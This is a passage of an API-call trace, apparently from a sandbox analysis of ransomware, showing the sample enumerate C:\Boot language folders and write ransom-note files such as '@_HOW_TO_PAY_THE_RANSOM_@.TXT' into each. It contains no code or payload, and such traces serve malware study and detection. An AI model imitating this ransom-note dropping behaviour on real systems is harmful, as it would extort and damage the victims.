GetFullPathNameW (in: lpFileName="C:\\\\Boot\\BOOTSTAT.DAT", nBufferLength=0x104, lpBuffer=0x4acdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x0) returned 0x14 [0068.628] GetLastError () returned 0x2 [0068.628] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0068.628] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.628] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.628] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.629] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.629] AreFileApisANSI () returned 1 [0068.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.629] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\cs-CZ\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 44 [0068.629] CreateFileW (lpFileName="C:\\\\Boot\\cs-CZ\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\cs-cz\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.629] GetFileType (hFile=0x1f4) returned 0x1 [0068.629] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.629] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.630] GetLastError () returned 0x0 [0068.631] AreFileApisANSI () returned 1 [0068.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.631] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a) returned 0x5345c0 [0068.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5345c0, cchWideChar=45 | out: lpWideCharStr="C:\\\\Boot\\cs-CZ\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 45 [0068.631] CreateFileW (lpFileName="C:\\\\Boot\\cs-CZ\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\cs-cz\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.634] GetFileType (hFile=0x1f4) returned 0x1 [0068.634] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.634] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.634] GetLastError () returned 0x0 [0068.635] AreFileApisANSI () returned 1 [0068.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.635] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\cs-CZ\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 44 [0068.635] CreateFileW (lpFileName="C:\\\\Boot\\cs-CZ\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\cs-cz\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.635] GetFileType (hFile=0x1f4) returned 0x1 [0068.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.636] GetLastError () returned 0x0 [0068.636] FindFirstFileA (in: lpFileName="C:\\\\Boot\\cs-CZ\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.637] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="..", cAlternateFileName="")) returned 1 [0068.637] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6436c20, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6436c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6436c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.637] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa645cd80, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.637] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6436c20, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6436c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.637] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.637] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.637] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.637] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.638] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0068.638] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.638] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.638] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.638] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.638] AreFileApisANSI () returned 1 [0068.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.638] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\da-DK\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 44 [0068.638] CreateFileW (lpFileName="C:\\\\Boot\\da-DK\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\da-dk\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.638] GetFileType (hFile=0x1f4) returned 0x1 [0068.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.639] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.639] GetLastError () returned 0x0 [0068.639] AreFileApisANSI () returned 1 [0068.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.640] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a) returned 0x5345c0 [0068.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5345c0, cchWideChar=45 | out: lpWideCharStr="C:\\\\Boot\\da-DK\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 45 [0068.640] CreateFileW (lpFileName="C:\\\\Boot\\da-DK\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\da-dk\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.642] GetFileType (hFile=0x1f4) returned 0x1 [0068.642] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.642] GetLastError () returned 0x0 [0068.643] AreFileApisANSI () returned 1 [0068.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\da-DK\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 44 [0068.643] CreateFileW (lpFileName="C:\\\\Boot\\da-DK\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\da-dk\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.644] GetFileType (hFile=0x1f4) returned 0x1 [0068.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.644] GetLastError () returned 0x0 [0068.645] FindFirstFileA (in: lpFileName="C:\\\\Boot\\da-DK\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.645] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="..", cAlternateFileName="")) returned 1 [0068.645] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa645cd80, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.645] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa645cd80, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.645] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa645cd80, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.646] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.646] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.646] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.646] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.646] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.646] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.646] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.646] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0068.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.646] AreFileApisANSI () returned 1 [0068.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\de-DE\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 44 [0068.646] CreateFileW (lpFileName="C:\\\\Boot\\de-DE\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\de-de\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.647] GetFileType (hFile=0x1f4) returned 0x1 [0068.647] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.648] GetLastError () returned 0x0 [0068.648] AreFileApisANSI () returned 1 [0068.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.649] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a) returned 0x5345c0 [0068.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5345c0, cchWideChar=45 | out: lpWideCharStr="C:\\\\Boot\\de-DE\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 45 [0068.649] CreateFileW (lpFileName="C:\\\\Boot\\de-DE\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\de-de\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.651] GetFileType (hFile=0x1f4) returned 0x1 [0068.651] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.651] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.651] GetLastError () returned 0x0 [0068.652] AreFileApisANSI () returned 1 [0068.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\de-DE\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 44 [0068.652] CreateFileW 